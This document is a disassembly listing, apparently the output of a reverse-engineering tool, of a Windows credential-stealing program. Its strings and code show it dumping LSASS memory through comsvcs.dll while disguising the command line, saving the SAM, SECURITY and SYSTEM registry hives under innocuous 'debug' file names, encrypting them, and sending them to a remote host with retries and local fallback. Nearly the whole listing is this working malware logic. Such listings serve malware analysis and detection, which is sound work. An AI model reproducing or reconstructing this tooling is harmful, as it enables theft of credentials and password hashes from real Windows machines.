Function at 0x14001138e
Capabilities:
Get common file path
Terminate process

Disassembly:
jmp 0x140013e30
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
mov eax, 0x3de0
call fcn.1400110f5
sub rsp, rax
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0xde8
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x3e08]
mov rax, qword [0x1400264e8]
xor rax, rbp
mov qword [rbp + 0x3d90], rax
lea rcx, [0x14002c303]
call fcn.140011505
lea rcx, str._______________________________________________________n
call fcn.140011253
lea rcx, str.________________________________________________n
call fcn.140011253
lea rcx, str._________________________________n
call fcn.140011253
lea rcx, str._______________________________n
call fcn.140011253
lea rcx, str.________________________________._____n
call fcn.140011253
lea rcx, str._____________________________________________________n
call fcn.140011253
call fcn.140011177
test eax, eax
jne 0x140013eea
lea rcx, str.____Dumping_LSASS_Requires_Elevated_Priviledges_
call fcn.140011253
mov eax, 0xffffffff
jmp 0x1400154cf
xor ecx, ecx
call fcn.140015da0
mov ecx, eax
call qword [sym.imp.ucrtbased.dll_srand]
mov dword [rbp + 4], 0
mov qword [rbp + 0x11d8], 0
mov qword [rbp + 0x11f8], 0
mov qword [rbp + 0x1218], 0
mov qword [rbp + 0x1238], 0
mov qword [rbp + 0x1258], 0
mov dword [rbp + 0x1274], 0
mov dword [rbp + 0x1294], 0
mov dword [rbp + 0x12b4], 0
mov dword [rbp + 0x12d4], 0
mov dword [rbp + 0x12f4], 0
mov r8, qword [rbp + 0x3dc8]
mov edx, dword [rbp + 0x3dc0]
lea rcx, [rbp + 0x3d28]
call fcn.140011438
lea rcx, [rbp + 0x1318]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x38
rep movsb byte [rdi], byte [rsi]
cmp dword [rbp + 0x134c], 0
je 0x140013fb5
mov dword [rbp + 0x1364], 0xbb8
mov dword [rbp + 0x1384], 0xea60
jmp 0x140013fc9
mov dword [rbp + 0x1364], 0x3e8
mov dword [rbp + 0x1384], 0x2710
mov r9d, socket
mov r8d, 0x20
lea rdx, [0x140026020]
lea rcx, section..data
call fcn.140011208
xor r8d, r8d
lea rdx, [rbp + 4]
lea rcx, [0x140026020]
call fcn.1400114c9
test eax, eax
jne 0x14001401c
lea rdx, [0x140026020]
lea rcx, str.____Cound_Not_Get__ss_PID__n
call fcn.14001102d
mov eax, 0xffffffff
jmp 0x1400154cf
mov r8d, dword [rbp + 4]
lea rdx, [0x140026020]
lea rcx, str.___Found___s____Of_PID_:__d__n
call fcn.14001102d
lea rdx, [rbp + 0x570]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jne 0x140014067
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetTempPathW_Failed_With_Error_:__d__n
call fcn.140011253
mov eax, 0xffffffff
jmp 0x1400154cf
xor ecx, ecx
call fcn.140015da0
mov qword [rbp + 0x13a8], rax
lea rcx, [rbp + 0x13a8]
call fcn.140013de0
mov qword [rbp + 0x13c8], rax
mov r9, qword [rbp + 0x13c8]
lea r8, str.debug_file_process_info__Y_m_d__H_M_S.dmp
mov edx, 0x100
lea rcx, [rbp + 0x7a0]
call qword [sym.imp.ucrtbased.dll_wcsftime]
mov r9d, 0x94
mov r8d, 0x20
lea rdx, [0x140026140]
lea rcx, section..data
call fcn.140011208
mov r9d, 0x11e
mov r8d, 0x20
lea rdx, [0x1400261e0]
lea rcx, section..data
call fcn.140011208
mov rax, qword [rbp + 0x1328]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 4]
lea r8, str._d__s_full
mov edx, 0x100
lea rcx, [rbp + 0x30]
call fcn.14001139d
lea rax, [rbp + 0x30]
mov qword [rsp + 0x20], rax
lea r9, [0x140026140]
lea r8, str._ls__S
mov edx, 0x200
lea rcx, [rbp + 0x150]
call fcn.140011190
lea rax, [rbp + 0x7a0]
mov qword [rsp + 0x20], rax
lea r9, [0x1400261e0]
lea r8, str._ls_ls
mov edx, 0x400
lea rcx, [rbp + 0x9c0]
call fcn.140011190
cmp dword [rbp + 0x133c], 0
je 0x14001418d
lea rdx, [rbp + 0x150]
lea rcx, str._i__Real_Command:__s_n
call fcn.14001102d
lea rdx, [rbp + 0x9c0]
lea rcx, str._i__Dummy_Command:__s_n_n
call fcn.14001102d
lea rcx, [rbp + 0x150]
call qword [sym.imp.ucrtbased.dll_wcslen]
mov qword [rbp + 0x3d88], rax
lea rcx, [rbp + 0x9c0]
call qword [sym.imp.ucrtbased.dll_wcslen]
mov rcx, qword [rbp + 0x3d88]
cmp rcx, rax
jbe 0x1400141cb
lea rcx, str.____Real_Command_Cannot_Be_Longer_Than_Dummy_Command__n
call fcn.140011253
jmp 0x140015390
mov qword [rbp + 0x13e8], 0
mov qword [rbp + 0x1408], 0
mov dword [rbp + 0x1424], 0
mov dword [rbp + 0x1444], 0
lea rcx, str._i__Dumping_LSASS_Using_comsvcs.dll..._n
call fcn.140011253
mov dword [rbp + 0x1444], 0x40
cmp dword [rbp + 0x1344], 0
je 0x140014270
lea rax, [rbp + 0x1408]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x13e8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1424]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x133c]
mov r8d, dword [rbp + 0x1444]
lea rdx, [rbp + 0x9c0]
lea rcx, [rbp + 0x9c0]
call fcn.140011159
test eax, eax
jne 0x14001426e
lea rcx, str.____Failed_to_Create_Process_to_Dump_LSASS_
call fcn.140011253
jmp 0x140015390
jmp 0x1400142ca
lea rax, [rbp + 0x1408]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x13e8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1424]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x133c]
mov r8d, dword [rbp + 0x1444]
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x9c0]
call fcn.140011159
test eax, eax
jne 0x1400142ca
lea rcx, str.____Failed_to_Create_Process_to_Dump_LSASS_
call fcn.140011253
jmp 0x140015390
cmp dword [rbp + 0x133c], 0
je 0x1400142df
lea rcx, str._i__Reading_Dump_File_and_Zeroing_Bytes..._n
call fcn.140011253
mov dword [rbp + 0x1464], 0
jmp 0x1400142f9
mov eax, dword [rbp + 0x1464]
inc eax
mov dword [rbp + 0x1464], eax
cmp dword [rbp + 0x1464], 0x186a0
jge 0x14001431e
mov edx, 6
mov rcx, qword [rbp + 0x1328]
call fcn.1400114ce
test eax, eax
je 0x14001431c
jmp 0x14001431e
jmp 0x1400142eb
cmp dword [rbp + 0x133c], 0
je 0x140014339
mov edx, dword [rbp + 0x1464]
lea rcx, str._i__Retry_Count:__d_n
call fcn.140011253
cmp dword [rbp + 0x1464], 0x186a0
jne 0x140014412
lea rcx, str.____Failed_to_Locate_LSASS_Dump_File__n
call fcn.140011253
mov dword [rbp + 0x1484], 0
lea rdx, [rbp + 0x1484]
lea rcx, [0x140026020]
call fcn.140011050
mov qword [rbp + 0x14a8], rax
cmp qword [rbp + 0x14a8], 0
jne 0x14001439a
cmp dword [rbp + 0x133c], 0
je 0x140014398
lea rcx, str._i__LSASS_is_Running__Continuing..._n
call fcn.140011253
jmp 0x1400143cc
lea rcx, str._i__LSASS_is_Suspended__Resuming_Threads..._n
call fcn.140011253
mov r8d, dword [rbp + 0x133c]
mov edx, dword [rbp + 0x1484]
mov rcx, qword [rbp + 0x14a8]
call fcn.1400114fb
mov rcx, qword [rbp + 0x14a8]
call qword [sym.imp.ucrtbased.dll_free]
cmp dword [rbp + 0x1344], 0
jne 0x1400143fd
cmp dword [rbp + 0x12f4], 3
jge 0x1400143fd
lea rcx, str._n_i__Trying_to_Dump_LSASS_Again..._n
call fcn.140011253
mov eax, dword [rbp + 0x12f4]
inc eax
mov dword [rbp + 0x12f4], eax
jmp 0x14001420b
cmp dword [rbp + 0x1348], 0
je 0x14001440d
jmp 0x1400144f0
jmp 0x140015390
lea r8, [rbp + 0x1274]
lea rdx, [rbp + 0x1258]
mov rcx, qword [rbp + 0x1328]
call fcn.14001108c
test eax, eax
je 0x140014459
mov eax, dword [rbp + 0x1274]
cvtsi2sd xmm0, rax
divsd xmm0, qword [0x140022c80]
movaps xmm1, xmm0
movq rdx, xmm1
lea rcx, str.___LSASS_Dump_Read:__.2f_MB_n_n
call fcn.140011253
jmp 0x14001446a
lea rcx, str.____Unable_to_Read_LSASS_Dump
call fcn.140011253
jmp 0x140015390
mov edx, 0x40
lea rcx, [rbp + 0x14d0]
call fcn.1400110c8
mov r8d, 0x40
lea rdx, [rbp + 0x14d0]
lea rcx, [rbp + 0x1530]
call fcn.140011271
mov r9d, dword [rbp + 0x1274]
mov r8d, 0x40
mov rdx, qword [rbp + 0x1258]
lea rcx, [rbp + 0x14d0]
call fcn.140011208
test eax, eax
jne 0x1400144bd
jmp 0x140015390
lea rcx, str._i__Cleaning_up_local_files..._n
call fcn.140011253
mov edx, 1
mov rcx, qword [rbp + 0x1328]
call fcn.1400113fc
lea rcx, [0x1400206b4]
call fcn.140011253
mov dword [rbp + 0x1444], 0x36
cmp dword [rbp + 0x1348], 0
je 0x140014aec
lea rcx, str._i__Dumping_Registry_Hives..._n
call fcn.140011253
mov qword [rbp + 0x2c88], 0
mov r9d, 0x4e
mov r8d, 0x20
lea rdx, [0x140026300]
lea rcx, section..data
call fcn.140011208
mov r9d, 0xc0
mov r8d, 0x20
lea rdx, [0x140026350]
lea rcx, section..data
call fcn.140011208
mov r9, qword [rbp + 0x13c8]
lea r8, str.registry_debug_info__Y_m_d__H_M_S.data
mov edx, 0x100
lea rcx, [rbp + 0x7a0]
call qword [sym.imp.ucrtbased.dll_wcsftime]
lea rax, [rbp + 0x7a0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x570]
mov qword [rsp + 0x20], rax
lea r9, [0x140026350]
lea r8, str._ls__ls_ls
mov edx, 0x400
lea rcx, [rbp + 0x1590]
call fcn.140011190
mov edx, 6
lea rcx, [rbp + 0x2a28]
call fcn.1400112e9
lea rax, [rbp + 0x2a28]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x570]
lea r8, str._ls_ls
mov edx, 0x104
lea rcx, [rbp + 0x2a60]
call fcn.140011190
lea rcx, [rbp + 0x2a60]
call qword [sym.imp.ucrtbased.dll_wcslen]
mov rdx, rax
lea rcx, [rbp + 0x2a60]
call fcn.1400114d3
mov qword [rbp + 0x2c88], rax
lea rax, [rbp + 0x2a60]
mov qword [rsp + 0x20], rax
lea r9, [0x140026300]
lea r8, str._lsSAM__ls
mov edx, 0x200
lea rcx, [rbp + 0x1db0]
call fcn.140011190
lea rax, [rbp + 0x2a60]
mov qword [rsp + 0x20], rax
lea r9, [0x140026300]
lea r8, str._lsSECURITY__ls
mov edx, 0x200
lea rcx, [rbp + 0x21d0]
call fcn.140011190
lea rax, [rbp + 0x2a60]
mov qword [rsp + 0x20], rax
lea r9, [0x140026300]
lea r8, str._lsSYSTEM__ls
mov edx, 0x209
lea rcx, [rbp + 0x25f0]
call fcn.140011190
cmp dword [rbp + 0x133c], 0
je 0x1400146de
lea rdx, [rbp + 0x1db0]
lea rcx, str._i__Real_Reg_Commands:_t_s_n
call fcn.14001102d
lea rdx, [rbp + 0x21d0]
lea rcx, str._t_t_t_s_n
call fcn.14001102d
lea rdx, [rbp + 0x25f0]
lea rcx, str._t_t_t_s_n
call fcn.14001102d
lea rdx, [rbp + 0x1590]
lea rcx, str._i__Dummy_Reg_Commands:__s_n_n
call fcn.14001102d
lea rax, [rbp + 0x1408]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x13e8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1424]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x133c]
mov r8d, dword [rbp + 0x1444]
lea rdx, [rbp + 0x1db0]
lea rcx, [rbp + 0x1590]
call fcn.140011159
test eax, eax
jne 0x140014749
lea rcx, str.____Failed_to_Create_Process_to_Dump_SAM_n
call fcn.140011253
cmp qword [rbp + 0x1258], 0
jne 0x140014744
jmp 0x140015390
jmp 0x140014aec
mov dword [rbp + 0x1464], 0
jmp 0x140014763
mov eax, dword [rbp + 0x1464]
inc eax
mov dword [rbp + 0x1464], eax
cmp dword [rbp + 0x1464], 0x14
jge 0x1400147c0
lea r8, [rbp + 0x1294]
lea rdx, [rbp + 0x11f8]
mov rcx, qword [rbp + 0x2c88]
call fcn.14001108c
test eax, eax
je 0x1400147b3
mov eax, dword [rbp + 0x1294]
cvtsi2sd xmm0, rax
divsd xmm0, qword [0x140022c80]
movaps xmm1, xmm0
movq rdx, xmm1
lea rcx, str.___SAM_Save_Read:__.2f_MB_n
call fcn.140011253
jmp 0x1400147c0
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140014755
cmp dword [rbp + 0x1464], 0x14
jne 0x1400147eb
lea rcx, str.____Unable_to_Read_SAM_Save_n
call fcn.140011253
cmp qword [rbp + 0x1258], 0
jne 0x1400147e6
jmp 0x140015390
jmp 0x140014aec
mov r9d, dword [rbp + 0x1294]
mov r8d, 0x40
mov rdx, qword [rbp + 0x11f8]
lea rcx, [rbp + 0x14d0]
call fcn.140011208
test eax, eax
jne 0x140014825
cmp qword [rbp + 0x1258], 0
jne 0x140014820
jmp 0x140015390
jmp 0x140014aec
mov edx, 1
mov rcx, qword [rbp + 0x2c88]
call fcn.1400113fc
lea rax, [rbp + 0x1408]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x13e8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1424]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x133c]
mov r8d, dword [rbp + 0x1444]
lea rdx, [rbp + 0x21d0]
lea rcx, [rbp + 0x1590]
call fcn.140011159
test eax, eax
jne 0x1400148a1
lea rcx, str.____Failed_to_Create_Process_to_Dump_SECURITY_n
call fcn.140011253
cmp qword [rbp + 0x1258], 0
jne 0x14001489c
jmp 0x140015390
jmp 0x140014aec
mov dword [rbp + 0x1464], 0
jmp 0x1400148bb
mov eax, dword [rbp + 0x1464]
inc eax
mov dword [rbp + 0x1464], eax
cmp dword [rbp + 0x1464], 0x14
jge 0x140014918
lea r8, [rbp + 0x12b4]
lea rdx, [rbp + 0x1218]
mov rcx, qword [rbp + 0x2c88]
call fcn.14001108c
test eax, eax
je 0x14001490b
mov eax, dword [rbp + 0x12b4]
cvtsi2sd xmm0, rax
divsd xmm0, qword [0x140022c80]
movaps xmm1, xmm0
movq rdx, xmm1
lea rcx, str.___SECURITY_Save_Read:__.2f_MB_n
call fcn.140011253
jmp 0x140014918
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400148ad
cmp dword [rbp + 0x1464], 0x14
jne 0x140014943
lea rcx, str.____Unable_to_Read_SECURITY_Save_n
call fcn.140011253
cmp qword [rbp + 0x1258], 0
jne 0x14001493e
jmp 0x140015390
jmp 0x140014aec
mov r9d, dword [rbp + 0x12b4]
mov r8d, 0x40
mov rdx, qword [rbp + 0x1218]
lea rcx, [rbp + 0x14d0]
call fcn.140011208
test eax, eax
jne 0x14001497d
cmp qword [rbp + 0x1258], 0
jne 0x140014978
jmp 0x140015390
jmp 0x140014aec
mov edx, 1
mov rcx, qword [rbp + 0x2c88]
call fcn.1400113fc
lea rax, [rbp + 0x1408]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x13e8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1424]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x133c]
mov r8d, dword [rbp + 0x1444]
lea rdx, [rbp + 0x25f0]
lea rcx, [rbp + 0x1590]
call fcn.140011159
test eax, eax
jne 0x1400149f9
lea rcx, str.____Failed_to_Create_Process_to_Dump_SYSTEM_n
call fcn.140011253
cmp qword [rbp + 0x1258], 0
jne 0x1400149f4
jmp 0x140015390
jmp 0x140014aec
mov dword [rbp + 0x1464], 0
jmp 0x140014a13
mov eax, dword [rbp + 0x1464]
inc eax
mov dword [rbp + 0x1464], eax
cmp dword [rbp + 0x1464], 0x14
jge 0x140014a70
lea r8, [rbp + 0x12d4]
lea rdx, [rbp + 0x1238]
mov rcx, qword [rbp + 0x2c88]
call fcn.14001108c
test eax, eax
je 0x140014a63
mov eax, dword [rbp + 0x12d4]
cvtsi2sd xmm0, rax
divsd xmm0, qword [0x140022c80]
movaps xmm1, xmm0
movq rdx, xmm1
lea rcx, str.___SYSTEM_Save_Read:__.2f_MB_n
call fcn.140011253
jmp 0x140014a70
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140014a05
cmp dword [rbp + 0x1464], 0x14
jne 0x140014a98
lea rcx, str.____Unable_to_Read_SYSTEM_Save_n
call fcn.140011253
cmp qword [rbp + 0x1258], 0
jne 0x140014a96
jmp 0x140015390
jmp 0x140014aec
mov r9d, dword [rbp + 0x12d4]
mov r8d, 0x40
mov rdx, qword [rbp + 0x1238]
lea rcx, [rbp + 0x14d0]
call fcn.140011208
test eax, eax
jne 0x140014acf
cmp qword [rbp + 0x1258], 0
jne 0x140014acd
jmp 0x140015390
jmp 0x140014aec
mov edx, 1
mov rcx, qword [rbp + 0x2c88]
call fcn.1400113fc
lea rcx, [0x1400206b4]
call fcn.140011253
cmp dword [rbp + 0x1338], 0
je 0x140014c4a
lea rcx, str._i__Local_Mode_Selected._Writing_Encrypted_File_s__to_Disk..._n
call fcn.140011253
cmp qword [rbp + 0x1258], 0
je 0x140014b30
mov eax, dword [rbp + 0x1274]
mov r9d, 1
mov r8, qword [rbp + 0x1320]
mov edx, eax
mov rcx, qword [rbp + 0x1258]
call fcn.1400114bf
cmp qword [rbp + 0x11f8], 0
je 0x140014c34
cmp qword [rbp + 0x1218], 0
je 0x140014c34
cmp qword [rbp + 0x1238], 0
je 0x140014c34
mov edx, 0x104
lea rcx, [rbp + 0x2cb0]
call fcn.1400112fd
cdqe
test rax, rax
jne 0x140014b83
lea rcx, str.____Unable_to_Get_Current_Directory_
call fcn.140011253
jmp 0x140014c34
lea r8, [rbp + 0x2cb0]
lea rdx, str._s_sam.dat
lea rcx, [rbp + 0x2de0]
call fcn.1400114a6
lea r8, [rbp + 0x2cb0]
lea rdx, str._s_security.dat
lea rcx, [rbp + 0x2f10]
call fcn.1400114a6
lea r8, [rbp + 0x2cb0]
lea rdx, str._s_system.dat
lea rcx, [rbp + 0x3040]
call fcn.1400114a6
mov eax, dword [rbp + 0x1294]
mov r9d, 1
lea r8, [rbp + 0x2de0]
mov edx, eax
mov rcx, qword [rbp + 0x11f8]
call fcn.1400114bf
mov eax, dword [rbp + 0x12b4]
mov r9d, 1
lea r8, [rbp + 0x2f10]
mov edx, eax
mov rcx, qword [rbp + 0x1218]
call fcn.1400114bf
mov eax, dword [rbp + 0x12d4]
mov r9d, 1
lea r8, [rbp + 0x3040]
mov edx, eax
mov rcx, qword [rbp + 0x1238]
call fcn.1400114bf
mov edx, 0x40
lea rcx, [rbp + 0x14d0]
call fcn.140011285
jmp 0x14001518e
lea rcx, str._i__Remote_Mode_Selected_n
call fcn.140011253
lea r9, [rbp + 0x31b8]
lea r8, [rbp + 0x3194]
lea rdx, [rbp + 0x3168]
mov rcx, qword [rbp + 0x1330]
call fcn.140011127
test eax, eax
je 0x140014c99
cmp dword [rbp + 0x133c], 0
je 0x140014c97
mov rdx, qword [rbp + 0x31b8]
lea rcx, str._i__Encrypting_key_with:__llu_n
call fcn.140011253
jmp 0x140014cdc
lea rcx, str.____Failed_to_Parse_IP_and_Port__Saving_Locally_Instead._n
call fcn.140011253
mov eax, dword [rbp + 0x1274]
mov r9d, 1
mov r8, qword [rbp + 0x1320]
mov edx, eax
mov rcx, qword [rbp + 0x1258]
call fcn.1400114bf
mov edx, 0x40
lea rcx, [rbp + 0x14d0]
call fcn.140011285
jmp 0x140015390
mov r9d, 0x40
mov r8d, 8
lea rdx, [rbp + 0x1530]
lea rcx, [rbp + 0x31b8]
call fcn.140011208
test eax, eax
jne 0x140014d04
jmp 0x140015390
cmp qword [rbp + 0x1258], 0
je 0x140014d5e
cmp qword [rbp + 0x11f8], 0
je 0x140014d5e
cmp qword [rbp + 0x1218], 0
je 0x140014d5e
cmp qword [rbp + 0x1238], 0
je 0x140014d5e
mov eax, 1
imul rax, rax, 0
mov qword [rbp + 0x3d78], rax
cmp qword [rbp + 0x3d78], 0x41
jae 0x140014d48
jmp 0x140014d4d
call fcn.1400113ca
mov rax, qword [rbp + 0x3d78]
mov byte [rbp + rax + 0x31e0], 0
jmp 0x140014daa
cmp qword [rbp + 0x1258], 0
je 0x140014d7b
mov eax, 1
imul rax, rax, 0
mov byte [rbp + rax + 0x31e0], 1
jmp 0x140014daa
cmp qword [rbp + 0x11f8], 0
je 0x140014daa
cmp qword [rbp + 0x1218], 0
je 0x140014daa
cmp qword [rbp + 0x1238], 0
je 0x140014daa
mov eax, 1
imul rax, rax, 0
mov byte [rbp + rax + 0x31e0], 2
lea rax, [rbp + 0x31e1]
mov r8d, 0x40
lea rdx, [rbp + 0x1530]
mov rcx, rax
call fcn.140011271
mov r8d, dword [rbp + 0x3194]
lea rdx, [rbp + 0x3168]
lea rcx, str._i__Connecting_to__s:_d_n
call fcn.140011253
lea rcx, str._i__Sending_Encrypted_Key..._n
call fcn.140011253
mov dword [rbp + 0x1464], 0
jmp 0x140014e06
mov eax, dword [rbp + 0x1464]
inc eax
mov dword [rbp + 0x1464], eax
cmp dword [rbp + 0x1464], 3
jge 0x140014e4d
mov r9d, 0x41
lea r8, [rbp + 0x31e0]
mov edx, dword [rbp + 0x3194]
lea rcx, [rbp + 0x3168]
call fcn.1400110a0
test eax, eax
je 0x140014e34
jmp 0x140014e4d
lea rcx, str._i__Retrying..._n
call fcn.140011253
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140014df8
cmp dword [rbp + 0x1464], 3
jne 0x140014e67
lea rcx, str.____Failed_to_Transfer_Key__Saving_Locally_Instead._n
call fcn.140011253
jmp 0x140015250
cmp qword [rbp + 0x11f8], 0
je 0x14001504d
cmp qword [rbp + 0x1218], 0
je 0x14001504d
cmp qword [rbp + 0x1238], 0
je 0x14001504d
lea rcx, str._i__Sending_Encrypted_SAM_Save..._n
call fcn.140011253
mov ecx, dword [rbp + 0x1364]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0x1464], 0
jmp 0x140014ec3
mov eax, dword [rbp + 0x1464]
inc eax
mov dword [rbp + 0x1464], eax
cmp dword [rbp + 0x1464], 3
jge 0x140014f0b
mov r9d, dword [rbp + 0x1294]
mov r8, qword [rbp + 0x11f8]
mov edx, dword [rbp + 0x3194]
lea rcx, [rbp + 0x3168]
call fcn.1400110a0
test eax, eax
je 0x140014ef2
jmp 0x140014f0b
lea rcx, str._i__Retrying..._n
call fcn.140011253
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140014eb5
cmp dword [rbp + 0x1464], 3
jne 0x140014f25
lea rcx, str.____Failed_to_Transfer_SAM_Save__Saving_Locally_Instead._n
call fcn.140011253
jmp 0x140015250
lea rcx, str._i__Sending_Encrypted_SECURITY_Save..._n
call fcn.140011253
mov ecx, dword [rbp + 0x1364]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0x1464], 0
jmp 0x140014f57
mov eax, dword [rbp + 0x1464]
inc eax
mov dword [rbp + 0x1464], eax
cmp dword [rbp + 0x1464], 3
jge 0x140014f9f
mov r9d, dword [rbp + 0x12b4]
mov r8, qword [rbp + 0x1218]
mov edx, dword [rbp + 0x3194]
lea rcx, [rbp + 0x3168]
call fcn.1400110a0
test eax, eax
je 0x140014f86
jmp 0x140014f9f
lea rcx, str._i__Retrying..._n
call fcn.140011253
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140014f49
cmp dword [rbp + 0x1464], 3
jne 0x140014fb9
lea rcx, str.____Failed_to_Transfer_SECURITY_Save__Saving_Locally_Instead._n
call fcn.140011253
jmp 0x140015250
lea rcx, str._i__Sending_Encrypted_SYSTEM_Save..._n
call fcn.140011253
mov ecx, dword [rbp + 0x1364]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0x1464], 0
jmp 0x140014feb
mov eax, dword [rbp + 0x1464]
inc eax
mov dword [rbp + 0x1464], eax
cmp dword [rbp + 0x1464], 3
jge 0x140015033
mov r9d, dword [rbp + 0x12d4]
mov r8, qword [rbp + 0x1238]
mov edx, dword [rbp + 0x3194]
lea rcx, [rbp + 0x3168]
call fcn.1400110a0
test eax, eax
je 0x14001501a
jmp 0x140015033
lea rcx, str._i__Retrying..._n
call fcn.140011253
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140014fdd
cmp dword [rbp + 0x1464], 3
jne 0x14001504d
lea rcx, str.____Failed_to_Transfer_SYSTEM_Save__Saving_Locally_Instead._n
call fcn.140011253
jmp 0x140015250
cmp qword [rbp + 0x1258], 0
je 0x14001518e
cmp qword [rbp + 0x11f8], 0
je 0x1400150f2
cmp qword [rbp + 0x1218], 0
je 0x1400150f2
cmp qword [rbp + 0x1238], 0
je 0x1400150f2
mov eax, dword [rbp + 0x1384]
cdq
mov ecx, 0x3e8
idiv ecx
mov edx, eax
lea rcx, str._i__Waiting__d_Seconds_For_Previous_Data_Transfer_to_Complete..._n
call fcn.140011253
lea rcx, str._i__Press_Enter_to_Skip_n
call fcn.140011253
mov dword [rbp + 0x3244], 0
call fcn.140011064
test eax, eax
jne 0x1400150e4
mov eax, dword [rbp + 0x1384]
cmp dword [rbp + 0x3244], eax
jge 0x1400150e4
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rbp + 0x3244]
add eax, 0x1f4
mov dword [rbp + 0x3244], eax
jmp 0x1400150af
call fcn.140011064
test eax, eax
je 0x1400150f2
call fcn.14001104b
lea rcx, str._i__Sending_Encrypted_LSASS_Dump..._n
call fcn.140011253
mov ecx, 1
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_fflush]
mov dword [rbp + 0x1464], 0
jmp 0x14001512c
mov eax, dword [rbp + 0x1464]
inc eax
mov dword [rbp + 0x1464], eax
cmp dword [rbp + 0x1464], 3
jge 0x140015174
mov r9d, dword [rbp + 0x1274]
mov r8, qword [rbp + 0x1258]
mov edx, dword [rbp + 0x3194]
lea rcx, [rbp + 0x3168]
call fcn.1400110a0
test eax, eax
je 0x14001515b
jmp 0x140015174
lea rcx, str._i__Retrying..._n
call fcn.140011253
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14001511e
cmp dword [rbp + 0x1464], 3
jne 0x14001518e
lea rcx, str.____Failed_to_Transfer_LSASS_Dump__Saving_Locally_Instead._n
call fcn.140011253
jmp 0x140015250
cmp qword [rbp + 0x1258], 0
je 0x1400151b0
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x1258]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 0x11f8], 0
je 0x1400151d2
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x11f8]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 0x1218], 0
je 0x1400151f4
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x1218]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 0x1238], 0
je 0x140015216
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x1238]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rbp + 0x1318]
call qword [sym.imp.ucrtbased.dll_free]
mov rcx, qword [rbp + 0x1320]
call qword [sym.imp.ucrtbased.dll_free]
mov rcx, qword [rbp + 0x1328]
call qword [sym.imp.ucrtbased.dll_free]
lea rcx, str.___All_done__n_n
call fcn.140011253
xor eax, eax
jmp 0x1400154cf
cmp qword [rbp + 0x1258], 0
je 0x14001527b
mov eax, dword [rbp + 0x1274]
mov r9d, 1
mov r8, qword [rbp + 0x1320]
mov edx, eax
mov rcx, qword [rbp + 0x1258]
call fcn.1400114bf
cmp qword [rbp + 0x11f8], 0
je 0x1400154c9
cmp qword [rbp + 0x1218], 0
je 0x1400154c9
cmp qword [rbp + 0x1238], 0
je 0x1400154c9
mov edx, 0x104
lea rcx, [rbp + 0x3270]
call fcn.1400112fd
cdqe
test rax, rax
jne 0x1400152ce
lea rcx, str.____Unable_to_Get_Current_Directory__n
call fcn.140011253
jmp 0x14001537f
lea r8, [rbp + 0x3270]
lea rdx, str._s_sam.dat
lea rcx, [rbp + 0x33a0]
call fcn.1400114a6
lea r8, [rbp + 0x3270]
lea rdx, str._s_security.dat
lea rcx, [rbp + 0x34d0]
call fcn.1400114a6
lea r8, [rbp + 0x3270]
lea rdx, str._s_system.dat
lea rcx, [rbp + 0x3600]
call fcn.1400114a6
mov eax, dword [rbp + 0x1294]
mov r9d, 1
lea r8, [rbp + 0x33a0]
mov edx, eax
mov rcx, qword [rbp + 0x11f8]
call fcn.1400114bf
mov eax, dword [rbp + 0x12b4]
mov r9d, 1
lea r8, [rbp + 0x34d0]
mov edx, eax
